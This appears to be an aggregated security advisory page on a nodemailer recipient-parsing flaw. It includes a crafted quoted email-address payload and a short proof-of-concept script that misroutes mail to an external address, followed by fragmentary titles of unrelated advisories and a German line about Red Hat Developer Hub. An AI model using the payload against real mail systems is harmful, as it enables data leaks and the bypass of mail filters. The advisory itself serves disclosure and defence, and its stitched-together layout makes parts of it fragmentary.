A vulnerability was identified in the email parsing library due to improper handling of specially formatted recipient email addresses. An attacker can exploit this flaw by crafting a recipient address that embeds an external address within quotes. This causes the application to misdirect the email to the attacker's external address instead of the intended internal recipient. This could lead to a significant data leak of sensitive information and allow an attacker to bypass security filters and access controls.

Affected: npm: nodemailer

The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.

Payload: `"xclow3n@gmail.com x"@internal.domain` Using the following code to send mail ``` const nodemailer = require("nodemailer");

let transporter = nodemailer.createTransport({ service: "gmail", auth: { user: "", pass: "", }, });

let mailOptions = { from: '"Test Sender" <your_email@gmail.com>', to: "\"xclow3n@gmail.com x\"@internal.domain", subject: "Hello from Nodemailer", text: "This is a test email sent using Gmail SMTP and Nodemailer!", };

transporter.sendMail(mailOptions, (error, info) => { if (error) { return console.log("Error: ", error); } console.log("Message sent: %s", info.messageId);

});

(async () => { const parser = await import("@sparser/email-address-parser"); const { EmailAddress, ParsingOptions } = parser.default; const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);

if (!parsed) { console.error("Invalid email address:", mailOptions.to); return; }

console.log("Parsed email:", { address: `${parsed.localPart}@${parsed.domain}`, local: parsed.localPart, domain: parsed.domain, }); })(); ```

Running the script and seeing how this mail is parsed according to RFC

``` Parsed email: { address: '"xclow3n@gmail.com x"@internal.domain', lo…

nodemailer: Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict golang.org/x/crypto/ssh/agent: SSH Agent servers: Denial of Service due to malformed messages golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of Service via unbounded memory consumption in GSSAPI authentication crypto/x509: golang: Denial of Service due to excessive resource consumption via crafted certificate js-yaml: js-yaml prototype pollution in merge glob: glob: Command Injection Vulnerability via Malicious Filenames github.com/expr-lang/expr: Expr: Denial of Service via uncontrolled recursion in expression evaluation

Affected: Ubuntu:20.04:LTS: node-nodemailer, Ubuntu:22.04:LTS: node-nodemailer, Ubuntu:24.04:LTS: node-nodemailer, Ubuntu:25.10: node-nodemailer

A vulnerability was identified in the email parsing library due to improper handling of specially formatted recipient email addresses. An attacker can exploit this flaw by crafting a recipient address that embeds an external address within quotes. This causes the application to misdirect the email to the attacker's external address instead of the intended internal recipient. This could lead to a significant data leak of sensitive information and allow an attacker to bypass security filters and access controls.

Ein entfernter, authentisierter oder anonymer Angreifer kann mehrere Schwachstellen in Red Hat Developer Hub ausnutzen, um einen Cross-Site Scripting Angriff durchzuführen oder um vertrauliche Informationen offenzulegen.